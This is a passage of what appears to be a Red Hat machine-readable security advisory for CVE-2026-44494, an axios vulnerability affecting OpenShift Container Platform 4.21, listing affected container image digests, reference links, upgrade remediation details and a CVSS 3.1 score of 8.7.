"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:d3ee62e979e6dbfbb846eb60a52d8fa95bfa59a42ccca5cba925d2380c7f96b4_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-vsphere-problem-detector-rhel9@sha256:4117dc54a8f501a6bc579b22cc8ad5ad0360ba54bbe8c8453d11dbdac480f4f7_amd64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-44494"
},
{
"category": "external",
"summary": "RHBZ#2487942",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2487942"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-44494",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44494"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-44494",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44494"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/security/advisories/GHSA-35jp-ww65-95wh",
"url": "https://github.com/axios/axios/security/advisories/GHSA-35jp-ww65-95wh"
}
],
"release_date": "2026-06-11T15:32:03.155000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-23T08:24:00+00:00",
"details": "For OpenShift Container Platform 4.21 see the following documentation, which will be updated shortly for this release, for important instructions on how to upgrade your cluster and fully apply this asynchronous errata update:\n\nhttps://docs.redhat.com/en/documentation/openshift_container_platform/4.21/html/release_notes/\n\nYou may download the oc tool and use it to inspect release image metadata for x86_64, s390x, ppc64le, and aarch64 architectures. The image digests may be found at https://quay.io/repository/openshift-release-dev/ocp-release?tab=tags.\n\nThe sha values for the release are as follows:\n\n (For x86_64 architecture)\n The image digest is sha256:7224f77afb20aedaf82bfc13ca11699689bd5b06795d6d1740dbd4c265150c44\n\n (For s390x architecture)\n The image digest is sha256:73811451efed403727e561f1ffadc1936c71bbefbae526fcea86a88fe23473f2\n\n (For ppc64le architecture)\n The image digest is sha256:05cb0b4804507c0b5e7923b7c6bcf293bd4e2d0f476c8ec6d13b179eb3157b42\n\n (For aarch64 architecture)\n The image digest is sha256:fd193bcd1042c3f17c33e7668d7b9866b915ac07075e6c2e35b0fe396bfd9a51\n\nAll OpenShift Container Platform 4.21 users are advised to upgrade to these updated packages and images when they are available in the appropriate release channel. To check for available updates, use the OpenShift CLI (oc) or web console. Instructions for upgrading a cluster are available at https://docs.redhat.com/en/documentation/openshift_container_platform/4.21/html-single/updating_clusters/index#updating-cluster-cli.",
"product_ids": [
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:214a54e1cdab555aca4d89ba2ae3dd825cca158cb1d74271d1a21c5d385647d4_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:51cbcaa1d10ded9608c0b17dcb99d77786586edf4a5db92e8205075129ec6318_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9dc9ccd011217972cef70a48af37278716c9ce47ed6d0a5d8686a3ac607c0a64_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:eda11e652e4e330f3cdd881504b4886fec1c7efb74be88252e3ac906a5964044_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:27044"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.",
"product_ids": [
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:061015f468b484041f552ddb246024c4b1475aba2be6b5ed529fdb5a1f2e323f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:b96ddf35d0e8a292d986e81420c93aa885fc455fcaf616a915491095b0caec0e_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:e21d39916b8a2d702c5adc1bcda18c7b6ddd3a9cfc09864e82c0cdf5188b301b_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:f31992f179936b6b55311d2c673b09ed29a27baa8a28ece8859d6d04d09ad81e_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:989ff868950ddcfb8dbc15092118c85476be437177b29016e3d6e148c5523334_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:b560fc8b23c8d1a7e362ffe84a26413cf5c5be7bae673052f035319f0e76b188_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f1cfd18b9ae0ca40e40e0f941ae8d3215dbe7ba51e2bbd32310017e70eccffa5_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f2031994576d4640f55cf0febf09b4f03ba9eaeaf433c1266a636a1fe2357de7_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:323728d967c18ee9d1c2aa15b1847d0d27cfeb23f75a5f9fa25ae469f35319cf_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:4b96564bdb684813b8fdc7f0257f5586bd3f2f15fa53afaa3a3139beaee71617_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:aa9d5a87e03a61bb8cffaf75b1ee9db23fd6232bc594e1b1152e796083778edd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:ec6e3caaad9567c2c0e423880f2e7b15f45c8596ee792b784f7fcca05ea28f66_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:6bdbe43aebe603002314b78857288bfb37f5bf8cae3a96d0e6b378b53a277312_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:938e55ebf1d2297f018f1d67c0105d874c524fdbeb587b7f4901b06ca2e3be34_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:99158d48956d3c0ab7d7199136b2c342c49daba19a91d2755ef6ea42c3e23bc0_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:9eb40419d902bbcfac7032918098adc7e91db26ebd9a1ecdf294626352d5c4a0_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:14d3506a84c56ce94db20e3ed1763deb9f72d0febc1a7bb2c8c8c6edfb30c9cd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:08681a7e9dae6792a5897594769beaf151bf52e489378a133886313f8dac398f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3fac643abb746b79b89a49fb5d762adac833e3265b83a832cedb3c7254ab6518_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:bd26beeab9ce22eab5cde362ac3610fb83c24d5525075363c50131e8000eb5e8_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:d0095c609b0c0dc6be36865e426e6c97c1793e282ccb150daf5eaea326cc03db_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:387e994a39948184388421bc4e2bfdfd604ebb18b0e3fbb209b256ac03cc944f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:865891f674c073eb479be00ea69d4a24546dea11bf1e123b3358dc0dad2836c6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:5d815836e31186ee2438933286395b35c6043986a1c55496f6314dc0aa796ccb_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:677b973d8853977b513318ec5acc866a8ff7adbc6c27f02e3f2b3de946104d57_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:98c8e94df91ff429ac6b104ac3fbd345273f0bcdcd929f2e38bc64aac6c2b1fd_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:af29610cf522f1952006878a267b7bc8c624b0ba975da5bbf8c3b84c23c72d98_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:14b84478be017b16f2c699ab6248450a9f8862313fc4ef38c23b5ae7bbbd27c5_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:155201b7a38a18f69000651e3b0ecdcb19815fb0bfe2f7971b7b49b7a626ac5c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:9628fc8b3effe793a58cc83f47d8260cbfede603bdbaabd5f4fa78c410f77d57_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:f879e563271c2bf9c4897a5011e6d153fee9085b93cd1dff3d6ae1ce78db1fca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:09c3b1dab5e555137dccb0a932b329f64067caf6e3706843b7268d6083ef0854_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5786d42ae90f710ca41c9cb0dc318fd7a3c40c8a49c922ad5c57fe98d15deb03_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5e9e2ec5df31d1d37c3faba01952b21b974a3dce50a6bba6b35dd450d1f75fd7_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e082034afc446c8bb29c7aeac67ded281d931695af8f9dae1fd03ef5c4342252_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:9ce038b5fb35619ac1d518bb904d973a87e54a030bf3350f653d84095d701fea_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c25cf4db4e05f4759b45b7b46d551396627f6c8b72c62168ad1d9d560f016e1b_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c8945cfb5c06ce3c0a6b0af2ee6c833a14c2a51c05901a8f18aec232e1705567_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:e3be367267b6667ac1429e9f8dd26835aefa03b22a1dad51a8116ac41ee91e84_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:3c78e7b587d9a96d61d64c1a6a09340978d2a075cc34019e45763a7f94d3c7bb_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:4ae1938d0303894656d6d0aa0923fe88785632ee55e0ed46553a54ace495cd10_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:664d9b418f753e8cdbafb0d22f97bb8c0b2097b4d749ea87bf340cc4cb732b09_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:6e4184f47fcf6e187f4c7fac3f1058d575235ca8ec8a118434526ae4a90a9ac8_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:0bab4308f7c309a814f712e39607196d35b40db9dd4616a5d9cca862dd9bebc6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1ff44c8741a46e16c5511cb5d4fea1706578ff9aa4115481b018b145d1e90aca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:366ab14ae5460ad0052c556eb30665873a0eb5e164674b56292dd8af70d74807_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:75daf2f2d96d1122e7f6b8fcab558c5d147d812e418107c0b2c16d1b80aa8c59_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:1709dde712ec24c1f771a0bbdf70a2fe298b911c8528a2dc9eef2ab258d36788_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:3b3ef5d55fb3f63ca291717035f5e076b2bd14921d58be0abd399f590be69de0_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:6138073a9b3c5f26146fdacc429b1be38555c25f9cb0934fdfedeedd962e514c_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:c14387a983d59f6c8a62e6591e162019c46902bd4bddf922d03e7bcfd16f7c9c_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:0aa5ce159112edf887a68bac028b860f0087344bae6773c0707421fe94efbf83_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:13b892be223845edeedb6df843edc3c84539c0f7b5849cfbdf1431e891f4d387_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:3eb2cd4352f5f3110a6234c599e8ed2e1f028505294043513d8fda46cb30f511_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:936b7bc4d391f06895399ee89aa43b02316e79cf8436fab198c0e485165ff92c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:591d0e9a58fbb78cc9bd3a5d2794f4947d1277e2b7ff856ff26c92a15b54ef5d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:93b12271a9cbb5386c49bde23a4fd0c418410ade915b89501b67976638f1b394_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:8106794a91fc7f08da90c997df3f00b9044782e81b6cda20580b17367588df15_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:f6ddc9d891309a979c07a9d2462fcaa62af6912a1cbb8f986e678c79b29d7b2e_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:6a4410c46718fe6010fad0d6c6b578a2347e61c687da6fa8e6f9220c18085c38_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:cb1bbd2c6ebdc80d0b55b9e24af9afe0e9147c0d56d4ccb2e06910c339aad92d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:4b531989cffbba08feb30500f836332f2ac5e05f67f5b0d3466344ca56844234_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:97e86b1ec0fb8c9320b643ceb46cee693d78059db2251e96ea48acbc3e8d77d4_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:b7d65cce3142f1e692c846b05a2cb737c1de760815dd003a4eb14c42bc381684_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:ce8035f8ddf2521152896e41e088e5f69ccb62db3ca6f3bff461b1fcfd002e66_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:1fa798e8929bf9ca5a0248df695a7bd9e4a9800fa3a49aa6c711f5460452303b_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:25649934df8b81bb967c2714cd0151acf22a59f0e1ba25f0f564803cf86a2c53_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:37e366676577cd3c67828c64542540ddbf1bd3866538841a844a34096ad4bc97_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:6d23762eeb123e9150385fd77695841aa2fbc22e0eafd5ccbd31b17b31d043ee_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:214a54e1cdab555aca4d89ba2ae3dd825cca158cb1d74271d1a21c5d385647d4_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:51cbcaa1d10ded9608c0b17dcb99d77786586edf4a5db92e8205075129ec6318_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9dc9ccd011217972cef70a48af37278716c9ce47ed6d0a5d8686a3ac607c0a64_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:eda11e652e4e330f3cdd881504b4886fec1c7efb74be88252e3ac906a5964044_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:2cfba758f3448568e6f844a2c380de62c2d84d2d21c7033a91bab994994fb28d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:62b9725f0852dfa627d030aee5dd8b3259e84a6f0087d3c970a08361b85ecc01_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:adb184389c661980ee1274a3eddf64221101465bc12c83895f981721508f18c3_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:dbf3bf45e958c3e521cd2f1965ed1f6eed1edc7ad1b2ce22be9930d9fdddf21f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:5c543b465d9c53c8f34458a00e7f74586d91333301770e21054ce7120fa0e8a1_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:a1602d42232b96a0a9ce2f8cf5a809e80e9a9f4752c6845342af7dbb94729070_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:d9cda770f446e132541a740719fda07af700f1ce372a608bde61fb84e42afa2d_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:f680ee32b9ead50a2b09c43405f3e20763b99025ac3f2a186bf6aa56d41425c5_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:1bed594d53537de5cec4d21ec152a8cf769cbcc4a300c233331e79b62d2cfe31_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:6a1c00c60c999234bd4ccd8131ba9ea9d6875bdfb889dccf8db5948d41238110_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:a0192fc0b5ece7d29fe95bd1bcca4cfb98c3540fc0c7a365da6a0ddce097fa41_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:d3ee62e979e6dbfbb846eb60a52d8fa95bfa59a42ccca5cba925d2380c7f96b4_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-vsphere-problem-detector-rhel9@sha256:4117dc54a8f501a6bc579b22cc8ad5ad0360ba54bbe8c8453d11dbdac480f4f7_amd64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 8.7,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:061015f468b484041f552ddb246024c4b1475aba2be6b5ed529fdb5a1f2e323f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:b96ddf35d0e8a292d986e81420c93aa885fc455fcaf616a915491095b0caec0e_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:e21d39916b8a2d702c5adc1bcda18c7b6ddd3a9cfc09864e82c0cdf5188b301b_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:f31992f179936b6b55311d2c673b09ed29a27baa8a28ece8859d6d04d09ad81e_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:989ff868950ddcfb8dbc15092118c85476be437177b29016e3d6e148c5523334_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:b560fc8b23c8d1a7e362ffe84a26413cf5c5be7bae673052f035319f0e76b188_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f1cfd18b9ae0ca40e40e0f941ae8d3215dbe7ba51e2bbd32310017e70eccffa5_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f2031994576d4640f55cf0febf09b4f03ba9eaeaf433c1266a636a1fe2357de7_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:323728d967c18ee9d1c2aa15b1847d0d27cfeb23f75a5f9fa25ae469f35319cf_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:4b96564bdb684813b8fdc7f0257f5586bd3f2f15fa53afaa3a3139beaee71617_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:aa9d5a87e03a61bb8cffaf75b1ee9db23fd6232bc594e1b1152e796083778edd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:ec6e3caaad9567c2c0e423880f2e7b15f45c8596ee792b784f7fcca05ea28f66_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:6bdbe43aebe603002314b78857288bfb37f5bf8cae3a96d0e6b378b53a277312_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:938e55ebf1d2297f018f1d67c0105d874c524fdbeb587b7f4901b06ca2e3be34_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:99158d48956d3c0ab7d7199136b2c342c49daba19a91d2755ef6ea42c3e23bc0_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:9eb40419d902bbcfac7032918098adc7e91db26ebd9a1ecdf294626352d5c4a0_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:14d3506a84c56ce94db20e3ed1763deb9f72d0febc1a7bb2c8c8c6edfb30c9cd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:08681a7e9dae6792a5897594769beaf151bf52e489378a133886313f8dac398f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3fac643abb746b79b89a49fb5d762adac833e3265b83a832cedb3c7254ab6518_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:bd26beeab9ce22eab5cde362ac3610fb83c24d5525075363c50131e8000eb5e8_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:d0095c609b0c0dc6be36865e426e6c97c1793e282ccb150daf5eaea326cc03db_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:387e994a39948184388421bc4e2bfdfd604ebb18b0e3fbb209b256ac03cc944f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:865891f674c073eb479be00ea69d4a24546dea11bf1e123b3358dc0dad2836c6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:5d815836e31186ee2438933286395b35c6043986a1c55496f6314dc0aa796ccb_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:677b973d8853977b513318ec5acc866a8ff7adbc6c27f02e3f2b3de946104d57_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:98c8e94df91ff429ac6b104ac3fbd345273f0bcdcd929f2e38bc64aac6c2b1fd_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:af29610cf522f1952006878a267b7bc8c624b0ba975da5bbf8c3b84c23c72d98_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:14b84478be017b16f2c699ab6248450a9f8862313fc4ef38c23b5ae7bbbd27c5_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:155201b7a38a18f69000651e3b0ecdcb19815fb0bfe2f7971b7b49b7a626ac5c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:9628fc8b3effe793a58cc83f47d8260cbfede603bdbaabd5f4fa78c410f77d57_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:f879e563271c2bf9c4897a5011e6d153fee9085b93cd1dff3d6ae1ce78db1fca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:09c3b1dab5e555137dccb0a932b329f64067caf6e3706843b7268d6083ef0854_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5786d42ae90f710ca41c9cb0dc318fd7a3c40c8a49c922ad5c57fe98d15deb03_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5e9e2ec5df31d1d37c3faba01952b21b974a3dce50a6bba6b35dd450d1f75fd7_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e082034afc446c8bb29c7aeac67ded281d931695af8f9dae1fd03ef5c4342252_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:9ce038b5fb35619ac1d518bb904d973a87e54a030bf3350f653d84095d701fea_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c25cf4db4e05f4759b45b7b46d551396627f6c8b72c62168ad1d9d560f016e1b_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c8945cfb5c06ce3c0a6b0af2ee6c833a14c2a51c05901a8f18aec232e1705567_amd64",
